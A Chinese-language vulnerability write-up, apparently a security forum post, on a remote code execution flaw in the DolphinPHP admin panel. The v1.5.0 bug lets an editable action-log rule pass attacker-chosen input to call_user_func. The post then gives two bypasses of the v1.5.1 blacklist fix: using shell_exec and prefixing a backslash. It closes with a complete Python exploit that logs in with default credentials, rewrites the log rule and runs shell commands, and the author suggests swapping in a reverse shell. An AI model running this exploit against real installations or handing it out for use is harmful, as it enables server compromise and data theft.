前言

官方对v1.5.0的漏洞进行了修复,在官方的修复方案发现了一道经典的ctf题目。
本文将先对v1.5.0的rce漏洞进行深入的分析,再分析v1.5.1的绕过手法。
项目地址:https://github.com/caiweiming/DolphinPHP

v1.5.0漏洞分析

漏洞点定位

跟修复的 Commit diff一下

可以看到对call_user_func函数的调用增加了is_disable_func()的判断,所以漏洞点就是application\common.phpcall_user_func函数

漏洞分析

判断参数是否可控

call_user_func函数开始回溯,param[1]是回调函数名称,log[$param[0]]是传递给回调函数的参数。

$param[1] :这个参数的值来自于解析日志规则时的 $match[1] 数组元素,而 $match[1] 是由正则表达式 /(\[\S+?\])/ 匹配

$action_info['log']得出的。这个正则表达式的含义是匹配方括号内的非空白字符,但不包括空格、制表符、换行符等。而$action_info['log']是一个数据库查询操作的返回值。

$log[$param[0]] :在上文中的代码中,$param[0] 的值是从日志规则中解析出来的。在正常情况下,$param[0] 代表的是一个特定的日志数据字段值

model('admin/action')->where('module', $module)->getByName($action)的作用是根据特定的$module$action,在数据库中查找对应的信息。找一下model,发现model('admin/action')对应的数据表是admin_action

用phpstorm的插件连一下数据库,看一下表的结构是咋样的,如下图

那么我们现在就知道了,$action_info['log']对应的就是指定的$module$action对应的 log 值

那么log数据我们是否可控呢?可以在后台看到,action_log()对应的功能是系统中的行为管理

且log值可控,没有任何校验

$param[1]参数构造

我们现在已经可以确定call_user_func()的回调函数名称$param[1]是可控的,只需要将指定的 log 数据根据 “|” 分割后的第二个数据替换为恶意的函数名称即可,如[xxxxx|phpinfo]

$log[$param[0]]参数构造

根据上述分析,$param[0]也是可控的,只需要将指定的 log 数据根据 “|” 分割后的第一个数据替换即可。

那么我们看一下$log[]有哪些字段值是可控的?答案是$model$details是可控的

因此我们只需要令$param[0]的值为$model$details即可控制$log[$param[0]]参数,也就是控制传递给回调函数的参数。

那么再进行回溯,看看哪里调用了action_log(),且$model$details可控

先查找action_log()的用法

\app\admin\controller\Attachment::disable 处调用分析

查找用法发现了这个setStatus方法,根据注释可以知道@param string $type 操作类型:enable,disable,delete

这个setStatus方法通过call_user_func_array调用了action_log


然后回溯一下setStatus方法,发现\app\admin\controller\Attachment::disable方法调用setStatus并传参$typedisable,然后setStatus方法从请求中获取要操作的记录ID(ids),然后将这些ID转换为逗号分隔的字符串。接着,它调用了父类的 setStatus 方法,并传递了一些参数,包括$ids也就是上文中提到我们需要可控的$details参数,且该处对这个$ids没有任何过滤和判断

$ids->$details->$log[$param[0]]可控

漏洞利用

上述分析中采用回溯调用的方式进行分析,现在从功能点开始入手进行完整的漏洞利用分析。

根据\app\admin\controller\Attachment::disable方法的注释可知,此处对应的功能点为禁用附件

先打个断点调一下


功能点位于后台中系统的附件管理

根据代码需要禁用存在的附件,因此在个人信息处上传一个头像作为附件

可以看到附件处多出了一个附件

点击禁用并抓包

进入断点后一直跟进,成功进入到action_log方法,并且看到$modelattachment_disable$details是我们可控的值


那么我们就在行为管理处修改 attachment_disable 的值

根据漏洞分析,将log值修改为如下

点击禁用附件

抓包修改ids值,也就是action_log方法中$log数组的details

进入断点跟一下,先看看数据库操作

找一下对应的值,成功匹配到我们上面修改的规则[details|system]

继续跟进代码直到call_user_func

因为在行为管理处将attachment_disable的日志规则修改为[details|system]
因此$param[0]='details' $param[1]='system'

并且抓包修改了idscalc,即$detailscalc

因此最终的执行语句为call_user_func("system","calc");

漏洞利用成功

v1.5.1 漏洞挖掘

可以看到官方对1.5.0的rce漏洞进行了修复,如下

call_user_func前增加is_disable_func检测

跟进分析一下is_disable_func()的具体实现

is_disable_func()首先在配置文件获取disable_functions,最后用in_array判断$func是否在$disable_functions

继续看一下system.disable_functions包含有哪些函数

很明显的可以看出来禁用的函数不全,那么v1.5.1的第一种绕过方式就出现了(当然还有第二种)。

shell_exec函数执行命令

很容易看出shell_exec不在disable_functions内,那么我们将上文中的system替换为shell_exec即可绕过修复继续执行命令。

绕过in_array()函数

接下来分析第二种绕过方式,上文提到is_disable_func()in_array判断$func是否在$disable_functions,那么in_array是否可以绕过呢?

答案很明显是肯定的,in_array()可以用一个简单的 “\” 进行绕过(应该是ctf手都懂的奇技淫巧了吧),我们做一个测试

比如\system就可以绕过in_array()函数,并且可以通过call_user_func成功执行系统命令

并且in_array()并不会将\systemsystem进行匹配

因此我们就可以轻易的绕过disable_functions黑名单了~

无回显rce

上文中的漏洞利用是弹一下本地的计算器,看起来很帅,实际上本项目是无回显的rce,所以为了进一步的利用,我们需要通过反弹shell或者外带等方式进行进一步利用~

exp

最后给出exp,基于无回显读取文件进行编写,想要rce直接修改payload为反弹shell即可。

#!/usr/bin/python
#  -*- coding: utf-8 -*-
import base64
import sys
import requests

def send_request(session, method, path, data=None, files=None):
    url = f"http://{session.host}:{session.port}{path}"
    response = session.request(method, url, data=data, files=files)
    return response

def exp(host, port):
    payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

    session = requests.Session()
    session.host = host
    session.port = port

    login_data = {
        "username": "admin",
        "password": "admin"
    }
    response1 = send_request(session, 'POST', '/admin.php/user/publics/signin.html', data=login_data)
    if "登录成功" not in response1.text:
        raise Exception("Login failed")

    send_request(session, 'GET', '/admin.php/admin/action/index.html?page=2')

    edit_data = {
        "id": "13",
        "module": "admin",
        "name": "attachment_disable",
        "title": "禁用附件",
        "remark": "禁用附件",
        "rule": "",
        "log": r"[details|\system] 禁用了附件:附件ID([details])",
        "status": "1"
    }
    response2 = send_request(session, 'POST', '/admin.php/admin/action/edit/id/13.html', data=edit_data)
    if "编辑成功" not in response2.text:
        raise Exception("Edit failed")

    base64_image = "iVBORw0KGgoAAAANSUhEUgAAAAsAAAAMCAIAAAA7y9DJAAAACXBIWXMAABJ0AAASdAHeZh94AAAAF0lEQVQYlWP8//8/A17AhF96VAVNVAAA0jIDFRDZ3/YAAAAASUVORK5CYII=%"
    image_bytes = base64.b64decode(base64_image)
    data = {
        "name": (None, '1.png'),
        "type": (None, 'image/png'),
        "lastModifiedDate": (None, '2024/5/30 21:29:14'),
        "size": (None, '98'),
        "file": ('1.png', image_bytes, 'image/png'),
    }
    response3 = send_request(session, 'POST', '/admin.php/admin/attachment/upload/dir/images/module/admin.html', files=data)
    if "上传成功" not in response3.text:
        raise Exception("Upload failed")

    send_request(session, 'GET', '/admin.php/admin/attachment/index.html')

    disable_data = {
        "ids[]": payload
    }
    response4 = send_request(session, 'POST', '/admin.php/admin/attachment/disable/_t/86ba77b6.html', data=disable_data)
    if "操作成功" not in response4.text:
        raise Exception("rce failed")

    response = send_request(session, 'GET', '/flag.txt')
    return response.text

if __name__ == '__main__':
    HOST = sys.argv[1]
    PORT = sys.argv[2]
    flag = exp(HOST, PORT)
    print(flag)
点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖